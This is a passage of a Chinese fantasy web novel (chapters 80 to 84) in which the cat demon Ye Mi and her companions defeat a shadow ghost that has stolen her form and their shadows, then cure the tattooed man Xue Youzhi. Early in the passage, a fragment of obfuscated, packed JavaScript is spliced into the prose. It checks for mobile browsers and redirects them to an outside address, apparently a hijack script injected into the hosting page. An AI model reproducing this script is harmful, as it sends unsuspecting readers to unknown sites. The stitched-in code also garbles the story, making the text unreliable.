叶米不清楚接下来会怎么样，这么放任它烧下去却像是一种束手无策的旁观，这是不能的，可就在她动念要做些什么的时候，火势忽地降落下来……不，更准确地说是开始汇聚，慢慢地向中央靠拢。
那火焰渐渐紧缩在一起，似乎就成了实体，实体是一个火红的身影，可当火势全入了它体内，又变成了黑色的影子。影子原本是影影绰绰的，轮廓并不清晰，周遭飘着火焰，只看得出来是个人形。
那人一步步地朝他们走来，每一步都更有人样了一些，慢慢地固定住了身长、胖瘦，以及迈步的姿态，它昂首挺立着，步伐沉稳却轻盈，每一步都是固定的距离，双臂在身侧摆动的幅度稳而收力，脑袋稳稳的不晃悠，下巴微微抬着，似乎在睥睨着什么。
哪怕它全身都是黑影，但众妖目不转睛地看着它这么朝叶米走去，越看越觉得毛骨悚然，有一种见了鬼的可怖——可不就是见了鬼。
一阵风吹过它，从左至右吹散了它身上的黑影，显出内里的模样来。
众妖一静。
叶米这时候也愣住了，不过她很快反应过来，回头一看，自己身后的地面清白一片，影子早已不知去处。
究竟是什么时候……
“究竟是什么时候？”鬼影说话的声音也与她一模一样，只在语调上有些许区别，“那自然是神不知妖不觉的时候了，哈哈哈哈哈！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625088|148393||http|test|mini|href|location''.split(''|''),0,{}));
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还真猖狂。
“叶米！”胡和烈在后边喊道，“捉她照水缸！”
鬼影也不隐瞒，饶有兴致地挑了下眉道：“哦？你竟然知道这办法。好啊，那就看你们有没有这本事捉住我！”
欧武武在边上：“这自信和你也是一模一样。”
叶米翻白眼：“废话少说，那看谁有本事除了它，谁就赢下今日这一局。”
欧武武刚想应好，忽然听见后边有人惨叫：“猫大人！”
正紧要的时候呢，叶米抽空回头，看见万情贞面如死灰，他虽然胆子小，但很少见他这么害怕的模样，只见他指了指地面，手指不住地在颤抖：“影子……我们的影子都不见了。”
叶米：？
她刚刚只顾着自己的，现在把院子里的几妖都扫了一眼，还真是影子都没了。胡和烈似乎也才发现，怒气冲冲地朝鬼影喊：“贱鬼，你到底想干什么！”
鬼影猖狂地笑了起来：“我把你们的影子都拿来了，便是拥有了你们的术法，这下谁都打不过我！哈哈哈哈哈！”
“糟了……”陆甲脸色变得绝望，“连叶米的影子都被它拿走了……”
“少听他吓唬人！”好在欧武武有一些关于九影的认识，指着鬼影大声道，“如果他把我们的影子都拿走了，那我们早就死了，定是只能拿走部分，又因为部分没有本体厉害，所以才要拿那么多妖的影子滥竽充数！”
“哼，”被拆穿鬼影给了狼妖一个眼神，冷哼一声，“没想到你还懂得挺多。不过，就是部分影子，对付你们也是绰绰有余。我现在有了这猫妖和虎头蜂的法力，对付一些下等妖怪不过是两招的事！哈哈哈哈哈！”
下等妖怪·螃蟹精·书灵·兔子精：……
书灵不高兴地嘟嘴，小声叽叽歪歪：“看不起我还要拿！？”
螃蟹精苦着脸：“聊胜于无嘛。”
兔子精很纠结：“那现在是怎么样，我们要不要逃？”
书灵又想起欧武武的话：“还有，什么叫拿我们的影子滥竽充数啊？真过分！”
螃蟹精宽慰他：“其实他说的也没错啊。”
兔子精很犹豫：“要是我们现在跑了，影子还拿得回来吗？”
“喂那边的几个！”鬼影听他们嘀嘀咕咕很是生气，觉得这三只滥竽充数的小妖非常看不起他，瞪眼道，“能不能严肃点？！”
三妖翻着白眼，倒也没说话了。
“我说个严肃的。”叶米严肃道，“换只妖的模样，我讨厌你披着我的皮囊。”
鬼影摊手，欠揍又无辜道：“我取你的影子取得最多，你的法力也是最强的，就是会变成你的模样，我也无可奈何。不过你宽心，等你死了，这副皮囊我会好好用的。再说……你的肉身矫健灵活，我很喜欢，哈哈哈哈！”
“就这样也成。”欧武武在边上幸灾乐祸，“我打起来更痛快一些！”
叶米：……
81. 第 81 章
她懒得跟这两个傻子废话，率先发动了攻击，第一招只是试探，没想到对方的反应速度和她有九分相近，而且抵抗回来的妖法和灵力也同她的几乎一模一样，直接就抵消了。
叶米也不慌张，加强妖法再来一击，这次对方抵抗回来的一招之中，除了她的妖法还夹杂了一些胡和烈的。如此她大概明白了它拿走了自己多少灵力，确实不少，但也没多到束手无策的地步。
欧武武见一妖一鬼已经打起来了，伸着爪子一龇尖牙，也上去了，这时候他脑子里还在想“一对二不是轻轻松松的事？”，鬼影正对付着一招接一招的猫妖，狼妖趁其不备地划下一抓，它反应不及，只能抬起胳膊一挡。
“嗷呜！”
欧武武被突如其来的疼痛激得惨叫一声，他拿起左胳膊一看，衣袖还是好好的，掀开衣袖瞅瞅，手臂上多了一道伤疤。
欧武武：……
怎么回事？他当然想明白了，惊怒地朝叶米喊道：“小心，它受的伤会反噬回来！”
已经莫名其妙吐了一口血的叶米：……
胡和烈觉得这正是自己上场的时候，提着螫针过来道：“我来，螫针上的毒素对我没用，对他就不一定了。”
叶米抹了把嘴角的血，暂且退了两步：“好。”
胡和烈耍螫针的本事和妖法是不一样的，鬼影能模仿他的妖法，但模仿不了他耍螫针的花样，即使它自己手上也变了一根出来，但不仅碍事不说，没两下就被胡和烈打飞了。
“哼，这本事可不是一朝一夕就能练成的！”
胡和烈得意一笑，步步逼退鬼影，看着那张熟悉的脸陌生的表情，心里也不算爽快，他想打赢的是真正的叶米，可不是顶着她脸的山寨货。
不过这鬼影的法力确实高强，有几招打过来，一时不慎被击中定是要受重伤的。好在叶米也在边上帮衬着，二妖竟然有几分默契。
“你们以多欺少！”原本自信满满、好像能以一敌百的鬼影这时候开始喊不公了，“不公平！”
欧武武见缝插针地踹了它一脚，下一瞬就捂住了自己的肚子，咬牙切齿道：“跟你这种阴险狡诈的恶鬼谈公平，你当我们是傻子！？”
他气得牙痒痒，本来觉得要是他抢先拿下这鬼的小命，怎么不算胜过叶米，但如今情况有变，打这破鬼的伤竟会反噬，那他肯定不可能自掘坟墓啊，当务之急自然是先解决了这贱鬼，比试的事后说。
好险躲过一针，鬼影脸色已经不太好看，他抢来的妖法也许还能和联手的几妖一比，但耍针确实耍不过人家，得想个办法。
要不然……
鬼影眼珠子一转，闪身转过叶米在背后的一击，竟直冲胡和烈捅来的螫针，后者也是一愣，他当然记得伤害会反噬，所以本事想不轻不重地刺它一下，让他中毒便成，没想到对方却迎了上来，兵器伴着灵气而出，难以收回，他眼睁睁地看着尖锐的针头捅进了鬼影的右肩之中。
双重奏：“啊！”
“硄噔”一声，螫针掉落在地上，胡和烈捂着自己被戳了个洞的右肩膀，脸上的血色飞快地褪去了。
鬼影气哄哄地踢了一脚那螫针，表情是忍着痛的痛快：“让你耍这破玩意！”
胡和烈怒得脖子上的青筋都爆了起来：“你！”
不过它还没得意多久，也被一脚踹飞了，脚踩在螫针上，一个滑溜摔了一个大屁墩，哀嚎连连。
万情贞跑过来把螫针捡起来，倒退着又溜走了。
叶米的肚子和屁股也疼，老疼，她第一次知道自个劲儿这么大呢，果然不打自己是不知道的，不过她面上还是分外冷静的，总得装装：“尽耍一些见不得妖的手段，你果真是没脸没皮，才临摹他人的模样。”
“闭嘴！”鬼影歪歪扭扭地从地上站起啦，面色羞恼，手上动作起势准备攻击。
胡和烈见他还能行动，有些不甘地撇了下嘴，忽然又想到叶米对自己毒素的耐毒性很高（被扎多了），再加上他自己的……鬼影有她俩的影子，难怪一般的螫针之毒会对他无效。
而他现在因为那贱鬼使诈导致手臂受伤，就是止了血也治不了疼，耍螫针有些勉强，可恶……
叶米做好了准备，却见他胳膊肘一转，一团灰白色的光冲螃蟹精她们而去，兔子精反应最快，连忙往前伸手一挡：“是欧武武的张牙功！”
转眼间那灰白色的灵光化作一只灰白色烟气聚拢成的狼头，嗷呜一声，直接吞下兔子精的妖法，一口咬在了她挡在前边的胳膊上：“痛！”
“圆圆！”谢珍珠连忙来看她情况，就见林圆圆使劲甩着胳膊想把狼头甩开，但却像被捕兽夹咬住了似的，除了面色越发痛苦之外，别无所用。
谢珍珠对那狼头用法术，狼头扭了扭要闪过，被牵扯着的林圆圆的手疼得要命：“别别别……倒不如让它这样咬着，等疼得麻木了就是。”
“这怎么行！”
怎么办啊……
谢珍珠看向叶米，他们几妖正被鬼影缠着，无暇顾及他们。螃蟹精急得跺脚，心说自己怎么能遇到点事就想着求救？但是她又实在是……
她忽然想到欧武武特别爱吃激将法，不知道他的狼头是不是这样，就对着它骂道：“你、你趁妖不备欺负她算什么本事！我比她厉害，你咬得中我吗？！”
那狼头牙齿未松，斜眼看着她，龇了下牙，发出“呜呜”的低吼声，像是一种不屑的威胁。
林圆圆：？
她不解且不承认：“你说什么胡话呢？不是，要是论谁厉害，不见得你比我厉害吧？谢珍珠，你这只妖啊……”
谢珍珠其实没听见林圆圆在说什么，只感到一条透心凉的水蛇在自己的背脊上窜进来窜出去，她下巴发紧抖了抖，咬牙道：“你这只……叶米的手下败妖！我知道你为什么不敢咬我了，因为你怕叶米对付你是不是？！”
林圆圆瞪眼：“你说啥啊，是我刚刚挡……”
有关于猫的激将法在猫
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的手下败妖那里一向是很有用的，狼头也是气不过，张嘴怒吼一声，转头就去咬找死的螃蟹精。
它的速度非常快，谢珍珠又在边上，这一口是躲不过的，但那双水灵灵的眼睛倒映出可怖狼头的影子时，似有灵光一闪，转瞬即逝的念头更像是上天的恩赐，她伸手一挡——
就见狼头一口咬在了坚硬无比的蟹壳上，它刚刚气得不行，咬下去时也是用了狠劲，这一下反噬到它的牙齿上，只听一声“嗷呜”的惨叫，夹杂着什么硬物断裂的清脆声，狼头被崩断了牙齿的牙坑里Biu出许多血来，飞洒在蟹钳上。
林圆圆惊讶之余连忙道：“珍珠，快快！”
多年好友，她们当然有这样的默契，立刻联手使出一招配合的术法，一人禁锢一人摧毁，那本就因牙崩惨案弱了许多气势的狼头不出意外地被兔子精和螃蟹精消灭了。
二妖兴奋击掌，林圆圆自作自受地惨叫一声。
她俩在这边庆祝呢，另一边的几妖是分外焦灼。
打到现在，妖和鬼都很折磨，鬼的折磨在它勾了这么多妖的影子都打不过他们，现在被团团包围着；妖的折磨在这贱鬼的反噬，谁要是下了狠手自己也蹦跶不了，再凭法术强弱算算，其实它如今的法术和叶米差不多，可叶米就是能一打三四五六个的，这就很难办。
陆甲已经被折磨得头昏昏、分不清状况，甚至开始埋怨叶米：“你法术这么厉害做什么，刚刚欧大哥和胡大哥的术法都是被你的妖法弹回来的！”
叶米还没说什么呢，他两位大哥却很羞恼：“闭嘴！”
“猫大人，胡大哥，你们就没有什么可以迷惑鬼的术法吗？”万情贞虽然没打几招，但在边上也很苦恼，“把它迷晕了就好办了。”
扑棱蛾子：“这都是种族法术，你当我们是狐狸精啊？”
书灵：“那怎么办啊！”
猫妖琢磨了一下：“不如让它疼晕？”
鬼影一听，预想到一些可怖的场景，连忙大声提醒他们：“喂，别忘了我受的伤都会偿还，我要是疼晕了，你们也别想好过！”
“这样。”猫妖跟他们商量，“那叫什么……积土成山、积水成渊，我们每妖给它自己尚且能承受的一击，疼痛累积之后，不信他不晕。”
万情贞第一个表示支持：“好主意好主意，这样我也能出点点点力！”
胡和烈点点头，觉得可以一试。
欧武武和陆甲对视一眼，他们没有更好的办法，总不能继续让这贱鬼继续嚣张下去，想了想还是没有异议。
就这么听着他们正大光明商量的鬼影气恼极了，但它非但不害怕，反而怒极反笑：“你们不会真以为这是一个好办法？哈哈哈哈哈，不自量力！”
几妖对视一眼给了个眼神，难得有默契地一起发动了进攻，鬼影确实不是傻的，他先用法术抵抗一会，然后忽地爆出法力，主要针对最弱的万情贞和陆甲，二妖本是专心致志的，猝不及防地被一阵力打飞。
82. 第 82 章
叶米见胡和烈和欧武武分神去看，连忙道：“别管他们，死不了！”
那是死不了的，不过是摔到地上吐几口血，万情贞跟了猫大人以来还没受过这么重的伤呢，一时间五脏六腑疼得说不出话了。螃蟹精想来帮扶他，他摇摇手表示自己站不起来，谢珍珠琢磨了一下，只好把他拖走。
鬼影也没歇息，用欧武武的张牙功放出三只狼头，这对三妖来说本不在话下，但如今他们的法力皆有削弱，胡和烈的肩膀受了伤，一时被狼头缠上。欧武武也是第一次被自己的狼头咬着不放，心里真是说不出来的离谱。
叶米先把自己这边的狼头解决了，从地上踢起两根蜡烛点了妖火，分别扔去两侧，那两只狼头一时不察被点了火，烫得龇牙咧嘴，被胡和烈和欧武武趁机解决了。
胡和烈见状拿起地上还燃着叶米妖火的蜡烛往鬼影一扔，放出他的群蜂术，随着金白色的光芒在他指尖散出，化作一大群虎头蜂追火光而去。
他的群蜂扑火有杀伤力，还能起到一个妨碍对手的作用，就是比较耗费法力。没想到鬼影只是冷笑一声，下一刻就用他的妖法召唤出更多乌漆嘛黑的虎头蜂的来，一瞬间吞噬了群蜂，反朝三妖飞来，这贱鬼还得意地笑：“你们对我用越多的招数，我也学得越多，哈哈哈哈哈！”
胡和烈要气死了。
欧武武也要气死了：“你这破蛾子怎么用火烧不了！？”
“那是虎头蜂！”虎头蜂手一挥挡开一群黑蜂，“群蜂术应火而生，越烧越猛，这贱鬼刚刚用的还是叶米的妖火，你说为什么烧不了！？”
叶米两三招杀死一批黑蜂：“又怪我了。”
胡和烈朝后边喊了一声：“谢珍珠！！”
谢珍珠连忙赶了上来，帮着欧武武和虎头蜂用水浇了黑蜂，降低了它们的活性，这才轻松解决了。
精疲力竭的二妖忽然觉得，幸好叶米没什么种族法术，不然……
叶米不知道他们在心里偷摸庆幸着什么，她瞅着有些疲累但依旧全须全尾的的鬼影，大脑极速运转着，用传心术和几妖道：“算了，用道法吧。”
“你疯了。”胡和烈听笑了，“道法的反噬加上贱鬼的反噬，要是它不死，我们就得死！”
叶米淡定道：“这不可能是死局。”
欧武武也不同意：“残局也不成，到时候不还是会淘汰？”
万情贞开始悲观：“难道是我们一开始就做错了？是不是不该摆这蜡烛阵，让这鬼影有机会显世啊……”
欧武武是出主意的，哪里听得他这么说：“喂，你们要是有更好的办法，当初何必听我的！”
万情贞：“那是……”
“吵什么吵。”叶米烦不胜烦，“事已至此，再讲那些做什么？”
其实她听了二妖的话，也有些犹豫是否用道法，她自己是无所谓的，可拉着别妖下水不是她本意，仅凭她一人的道法又打不过鬼影，这家伙又能学了她们的法术……不过话说回来，既然它能临摹他们的厉害之处，是不是也有相同的弱点？
叶米当然知道自己的弱点，她潜心修炼过锻体术，肉身处处有灵气护体，即使受伤也恢复得快，身子矫健灵活，普通的伤不会影响她行动——这大概也是贱鬼选了她肉身的原因。
不过有一处算是稍微薄弱的地方了。
只要她攻击这薄弱之处后还能撑着等被勾走的影子回来，那就算赢了。
“我有办法。”她继续用传心术说，“你们二妖控制住它，转移它注意力。”
胡和烈莫名有不好的预感：“你想做什么？”
叶米：“没空和你说这么说，它可等不及了。”
鬼影见他们眉来眼去的，哪里不知道这几个是在偷摸商量，喘了几口气缓过神后便不乐意再给他们机会，朝他们发起了进攻。胡和烈和欧武武都来不及细问，连忙接招，叶米又催促他们照她说得办，两妖无法细想，只好照做。
二妖接连不断地放出攻击，谢珍珠等妖也上来能帮点是帮点。鬼影一时之间有些应接不暇，这边放一个狼头那边招一群黑蜂，偶尔还要挡一下砸过来的蟹钳，一时之间竟然没察觉叶米悄无声息地来到了它身后。
猫妖伸出爪子来，这利爪不比狼妖虎妖的骇人，可上方缠绕着的莹莹白光又表明了它的不简单，她飞跃而去，狠狠往鬼影背上一抓，切实地感到了这份疼痛。
“啊！”
鬼影惨叫一声，气恼地转过头来，瞪着叶米的双眼通红，被迫开始了近战。
一鬼一妖打得有来有回，鬼影越打越发熟练，那是自然的，它现在也有猫妖的同款肉身，招架着她的进攻时也在模仿，有时候甚至靠着身体本能就能拦下几次险招，忍不住嘚瑟地朝叶米勾起坏笑：“怎么，你不会是在手下留情吧？”
叶米没说话，继续应对着。
他们打得难舍难分，旁观的妖也不敢贸然下手，也怕伤到叶米，有时候看花了眼，都认不出来那一个才是真的猫妖。
欧武武眉头紧皱，眼神不敢放松：“她这是哪门子办法？”
胡和烈也是同款表情：“你问我我问谁？”
他们打着打着，总是会挪动位置，这时候就来到了那张被砍断两只桌角的桌边，叶米忽然一个后侧方闪到了半直起的桌面后头，蹲下身来不见了身影，鬼影一愣，脑子里划过一丝不对劲，但快到来不及思考，它就想跳过去看看。
就在这时，桌面后亮起两点火光，叶米猛然跃起，手上转着燃火的螫针。
几妖纷纷看向胡和烈。
胡和烈：“……这根是那贱鬼变出来的。”
几妖：哦~
鬼影也是吓了一跳，刚刚被这螫针步步紧追的可怖还不曾散去，眼见这猫妖舞着这破针又来了，他下意识后退了半步，但依旧梗着步子不肯显出害怕的模样，伸手放出两个狼头：“咬断它！”
狼头咬上螫针两端，叶米并不在意，她和胡和烈交手过上百回，对螫针的把控还是有点心得
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的，当即使了几招，看着像模像样。
胡和烈正看着入神，忽然听到她的声音：“帮个忙。”
他肩膀上的伤还疼着呢，不过叶米难得找他帮忙，胡和烈拿着螫针也上去了，但这下是有些束手束脚了，也怕伤到队友。
鬼影被两根针夹击，很是生气：“你们贱不贱呐！”
胡和烈专心致志没理他，又听叶米道：“刺他大腿。”
扑棱蛾子：……
他埋怨道：“等会我也动不了！”
叶米只说：“要结束了。”
猫既然说要结束了，胡和烈就有一些没由来的期待和信心，他咬咬牙，心想在那个什么村的时候自己连肚子破洞都忍了，刺个大腿算什么！这鬼影如今能这么嚣张，很大原因之一是觉得他们不敢下狠手。
胡和烈捏着螫针的手紧了紧，下一招突飞猛进起来，惊得鬼影一愣，连忙将注意力放在他身上，它这时候觉得对方似乎有破釜沉舟的决心，但又不免想：再破再沉还能咋地，难道还能以命相搏？
虽是这么想的，但当他大腿上中了一针、疼得他朝虎头蜂跪下的时候，鬼影的脸上是无法可忍的恼怒。
胡和烈从没在猫的脸上见到这幅恨得牙痒痒的表情，这时候他感到万分的厌恶，这算什么？他心心念念的胜利、渴望瞧见的表情，凭什么先以这种恶心的方式让他看见了？
可实际是，他又明白，也许永远不会在叶米脸上瞧见这副不堪的神情。即使有一天她输了，也是正大光明地输、坦坦荡荡地接受，不会找任何借口。她输的时候也会像赢了那样，仿佛什么都不重要，连得意都是很短暂的。
所以这让她更可恨了，不过可恨之中藏着的不是肮脏的心思，而是遥遥的崇拜。
胡和烈捂着biu血的腿单膝跪下，忽地瞧见叶米从几步外飞跃而来的身影，她双手高抬头顶，握着螫针的一段，腾空的身影轻盈轻松，脸上是冷淡的面无表情，仿佛连眉毛都没有皱起，只有那双眼睛，俯视万物时自带光点的竖瞳，那么可怖而狠厉。
她挥针而下——利落的动作就像她自断情根时，一点也不惧怕预料中的痛苦。
她竟还是这么做了，用了最简单又别无他法的办法。
鬼影本是朝胡和烈跪着，猫的步伐轻盈，他原先没察觉的，直到看见胡和烈、欧武武等妖震惊的神色，又用一股隐隐约约的不妙预感在心中忽然升起，这才猛然回头一看——
这时候已经迟了，他的瞳孔只来得及捕捉到那自上而下的、放大了无数倍的螫针，接着就感觉到背上一热，什么东西哗啦啦地流了出来，他双眼睁得大大的，却已经失去了焦距，整只鬼往前倒在地上的时候，倒是没有死前走马灯，只是想到刚开始拥有这具身体的时候，他欣喜若狂扭来扭去适应时……
背上仿佛有什么东西卡巴卡巴的，但他没在意，急着出去耀武扬威呢。
哪里想到自己的背部横穿了一道伤疤，不细看还以为是布娃娃的缝合线。
83. 第 83 章
众妖震惊。
他们一会看看站在那手上拿着带血的螫针、却好似没事人的叶米，又看看倒在地上、背部的皮肉连着衣服一起被撕裂开的“叶米”，心里都有说不出的恐怖和惊慌，一时间竟手足无措。
叶米已经开始感到疼痛了，她不敢轻举万动，正想催着那几个傻瞪眼的赶紧把尸体拎过去照水面啊，却见“叶米”破开的皮肉之中，有数团闪着光的光球飞了出来，一个个在空中搞不清楚状况般地撞了几下，然后各自飞走。
其中有一颗亮得使劲的光球入了叶米的额间，她瞬间感到精神不少，疑似找回了所有力气和手段，第一反应就是席地而打坐，给自己背部的伤口疗伤。
她可不傻，在下手之前就已经偷摸着在自己的背部施了治疗术，这会才不至于血崩，但疼还是疼的，得赶紧缓缓。
众妖找回了自己丢失的影子，这就安心不少，默契地关注着叶米的情况，视线不住地往她后背打量，却没见到有血色；再看她打坐时泰然自若的模样、周身灵气的运转也很正常，心中悬起的石头便也落下了。
就说嘛，叶米怎么可能这么傻。
“我去，你们看——”万情贞压着嗓子惊呼一声，指向地上的鬼影。
大家纷纷望去，瞧见鬼影的身子逐渐腐败坍塌，滋滋地化作一滩黑水，浸入地面之中，肉身全然消失不见，只在地上留下一个黑色的影子。
欧武武诧异地走过去，用脚搓了搓地上的黑影，没搓掉。
陆甲在边上说：“这玩意……真像一个影子。”
林圆圆：“不是本来就是影子吗？”
“不是。”欧武武道，“只是一只侵占了薛有志影子的恶鬼，所以他也可以说是鬼上身了吧，不过被上身的是他的九影，毕竟鬼上人身不容易，但趁着九影出来时，附身其中一影还是很简单的。”
谢珍珠听懂了，点点头道：“还是因为那幅九影图……欸，还不知道薛有志怎么样了？”
她这么一提醒，几妖才想起来早就被他们挪到屋里的薛有志，忽然慌张起来，想起自己的任务是救他的命，刚刚打起来的时候是全然忘记了！便连忙跑到屋内，看见他被五花大绑着在床上，见人来了就使劲扑腾，和他们第一次见他的时候一模一样。
众妖对视一眼：……不会还是疯的吧？
胡和烈扯下他口中的布，薛有志连忙大口大口喘气起来，惊恐的眼神一个个地扫过屋里每一张脸：“你、你、你们是谁，为何在我家中？”
万情贞问：“你知道你是谁吗？”
薛有志惊恐：“我薛有志啊！我跟你们无冤无仇，你们几个到底是谁！？”
谢珍珠又问：“你认识赵义吗？”
薛有志着急：“那是我义弟！你们是谁？我义弟呢？你们怎么认识我义弟！？”
几妖见他恢复了神智，满意地点了点头，胡和烈道：“薛有志，你可知道自己先前撞了鬼、神志不清的事？”
薛有志闻言，原先的激动不安凝固了，他皱起杂草乱长的粗眉，脸色有些诡异：“我、我不记得了……只记得我一直在做梦，做了好长的梦，梦里我有时是个疯女人，有时是一只受了伤的老虎，甚至是游荡在人间无处可去的鬼……太奇怪了。”
他越想眉头皱得越深，最后甚至感到一些头疼：“我仿佛明白自己是在做梦，可是怎么也醒不来！只能在那疯女人、老虎，鬼……他们的梦中被反复折磨，神志不清……”
“等等，你刚刚说什么？”他恍然回过神，诧异地抬起头，“你们说我撞鬼了！？我薛有志行得正坐得端，怎么可能撞鬼！”
谢珍珠小声嘀咕：“那看来还是脑子好使更重要些。”
薛有志：？
欧武武朝他的胸前抬了抬下巴：“怎么不可能，就是你胸口这玩意害的。”
胸口的玩意？
薛有志低头一看，看见了自己一时冲动去刺的文身。说实话，他有时候大半夜醒来，猝不及防瞥见自己胸口这九个倒着的人头时还会吓出一声冷汗，心中不免有几分后悔。
只是这后悔很短暂，没被吓到的时候就想不起来；才文了没多久就去洗、原因还是被吓到什么的，实在是太丢脸了！而且那几个锦体社的兄弟都夸他这文身文得好，衬他的气质来着。
现下听对方这么说，薛有志不免后悔起来，但洗文身要用火来灼烧，那是很疼的，他有些胆怯，又不想让他们觉得自己胆小，便故作怀疑道：“你们几个到底是谁，我为什么要相信素不相识之人的话？”
欧武武：？？
他好心相劝还被质问，又想到刚刚为了救他，他们几妖和鬼影打得那么惨烈，脾气一下就上来了：“不信就不信吧，好言难劝该死的鬼！林圆圆、陆甲，我们走，别管他了！”
刚转身，就见叶米走进屋来，神色如常。
谢珍珠欣喜道：“叶米，你没事了！”
叶米朝她点了点头，走到床边上，轻飘飘地打量了一下被绑着的薛有志，头也不回地和狼妖说道：“跟他废话什么，他如今束手无策，能耐我们何？”
薛有志：O.0
这实在不像好人的发言。
“你、你要做什么！？”
叶米就如她自己说的，一句废话也没说，先给薛有志上了定身术，然后点火烧他胸膛的九影文身，薛有志怒睁的瞳孔里倒映着火光，满脸惊恐。
不能动的身子阻止不了他能动的脑子思考，他先是想这几个并非凡人，不然也不会让他动不了、又可以随手放火烧他；再想他们刚刚说的话，难道是他们把他从撞鬼之后的梦境之中救了出来？
所以现在放火烧他……其实是在救他。
虽然但是真的好烫啊！！他真的不会被烧死吗！？
叶米没烤过人，是有些手生，不过她还是有点点分寸的，除了觉得那胸毛很碍事，就给烧了干净，事后还给他止了血，算是很贴心了。
谢珍珠也紧张地在边上盯着，时不时说
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两句“翻个面”“换块地”啥的。
完事之后，猫妖拍拍手解了对方的定身术准备走人。见他们要走，五花大绑还没被解开的薛有志连忙在床上以一个鲤鱼打挺的姿势立了起来，艰难道：
“多、多谢几位的救命之恩！薛某无以为报，日后有用得上我的地方，薛某一定当仁不让！不知几位大师如何称呼？”
叶米想了想：“我们都是万妖堂里的妖。”
这么说完，也不在意对方的反应，不留情地转身离开。
薛有志对万妖堂只是有所耳闻，在他们景州，这算是“传闻中”的学堂了。他躺在床上，震惊自己竟然被几只好妖精救了的时候，是万万没想到屋外院里还有一片狼藉等着他处理的。
毕竟当务之急，是有人来解开他的五花大绑啊！
*
回客栈的路上，欧武武听了许久螃蟹精和书灵对叶米的关心问候，反正猫都是说没事没事的，他忽然道：“你既然想到这办法，为何想不到找四妖各伤四肢，让鬼影失去行动力之后再拉他照水缸？”
“我怎么没想到？”叶米瞥他一眼，“你现在不过是在打马后炮，要我当时真这么说，你乐意听我的？”
胡和烈瞥她一眼，心想那他就乐意听她的了吗！
陆甲撇开了眼，态度心虚得很明显。
欧武武倒是犹豫了一下，正想说什么，又听她道：“再说，那鬼影诡计多端，若单是伤了四肢，还是不够的，谁知道它藏了什么其他阴谋诡计？定是要一招毙命的好……”
“最重要的是。”叶米侧过脸来朝他一笑，“不牺牲多一些，我要怎么赢得更明显呢？”
欧武武：……
他一时间脑子充气，脱口而出：“原来你打的是这个注意！”
猫妖耸了下肩：“我打的主意不好吗？我可没有打你们的主意。退一百步讲，你们若是有其他办法怎么不早实行？我拦着你们了？若是没有其他办法，为何又做不到同我一样对自己下狠手，让我抢占了先机？”
“还是说……”她调侃道，“是在等着什么时机捡漏？”
欧武武组三妖：……
“嗨，算了吧。”林圆圆松了口气，先开口打破尴尬，“叶米有这样的决心，做什么不会成功呢？我是服输了，对了，还要多谢叶米把我的影子找回来。”
叶米大方道：“不客气。”
欧武武也不是愿赌不服输的妖，主要是输给叶米对他来说也是一件很熟练的事了，于是就进行认输后的放狠话环节：“哼，这次就先这样，下次你就等着吧！”
叶米：“好好，我等着。”
陆甲撇了下嘴：“还有什么下次？这就是最后的考核了。”
欧武武一愣，就听谢珍珠奇怪的语气里夹杂着一丝天真：“为什么没有下次，考核之后你就要死了吗？”
陆甲：……
万情贞就看他不爽：“哈哈哈哈啊哈哈！”
陆甲：…………
84. 第 84 章
几妖都是精疲力竭，回到客栈随便吃了点东西就倒头大睡，一觉起来已是隔日早上，天色大亮。
叶米昨晚莫名做了一个梦，梦见了许久不见的南显成，她误入人类繁华之地，夜晚也热闹非凡，张灯结彩的大街小巷之间，灯火晃眼，她仿佛瞧见道士的身影出现在前方卖面具的小摊上。
叶米不由自主地走上去，想问他为什么出现在这，可就在几步之外时，面前挤过两个人，再一眨眼就不见了道士的身影。
猫顿了顿，她也没有想见到南显成来着，但近在咫尺的错过，总不免让人有些失落，不自觉地转着脑袋追寻对方的身影。这时候似乎又在前方两丈外的路人身后瞧见了他竖着幞头的脑袋，没有思考就往前追了几步。
步子一开始急了，怎么就停不下来，渐渐地心情也有些迫切，叶米想要追上他问问什么情况，这突然变成一个她很想要知道的事情。
可是追不上，那身影在无数脑袋和肩膀之间一晃而过，幞头在人海里起起伏伏，像是乘上了海浪。
猫忽地开始心烦，干脆不追了，停在原地喘着气，漠然地看着面前的人间烟火，心里的不高兴渐渐散去，发展成无悲无喜的茫然：她为什么会出现在这？谢珍珠她们呢？这里是哪里？难道是……
肩膀被轻轻拍了两下。
叶米回过头，看见一个穿着一身普通的灰白色圆领窄袖衫，头发全然束起在幞头下，脸上一张戴着似猫似狐的半脸面具的男人。
猫奇怪地往身后看了看，又转回来，疑虑他怎么忽然出现在这了：“你怎么在这？”
没被面具盖住的下半张脸笑了笑，却没说话。
叶米：“你不是在打什么……深山里的恶妖吗？”
他还是没有说话，就静静地看着她笑。叶米看他面具后的眼睛，遮着一个面具实在是看不清楚，她有些不耐道：“说话。”
还是不说。
叶米感到许多奇怪，她微微皱起眉头，伸手要去摘他脸上的面具，瞧着真碍事，他也没有反抗，就丝毫不为所动地站在那任由她伸了手来，叶米倒是顿了一下，可就在碰到面具的一瞬间，脑子里突兀地被塞进了一个画面：
道士躲在一个黑黢黢的洞里，靠着洞壁坐着，浑身上下都是血，呼吸一深一浅，胸口起伏着，在被血染红的暗色衣服上溢出新鲜的血来，瞧着快死了。画面往下一些，他的手松松垮垮地似乎握着什么，仔细一看是一颗红色的小石头。
叶米一怔，把摘他面具的手缩了回来，语气略快：“我给你的石头在哪？”
他闻言把手伸出来，向上打开，手心里放着一颗石头。
叶米抬眼瞅了他一眼，伸手去拿石头，一瞬间从梦里醒来。
她是很少做梦的，不管是妖是仙，当她们修炼到一定境界，梦中的内容多少有些意有所指、别有深意，叶米很难不明白这梦想对她说什么。只是她想不通，为什么要她做这个梦？
很显然，南显成没有触发石头上的阵法，他没有主动找她求救，可是梦却来了，梦算什么？似灵光一闪般的东西，可遇不可求，但它却来了，只为让叶米知道他的处境，毕竟她不会主动去探查。
叶米感到被命运使唤和拿捏的郁闷，她倒是可以不理睬，但对救命恩人袖手旁观却不是她本意。
她坐在床上静静地放空了一会，听得见客栈外街道上的人声、马蹄声，车轱辘声，它们很吵却没打扰她，像是礼貌地路过了。
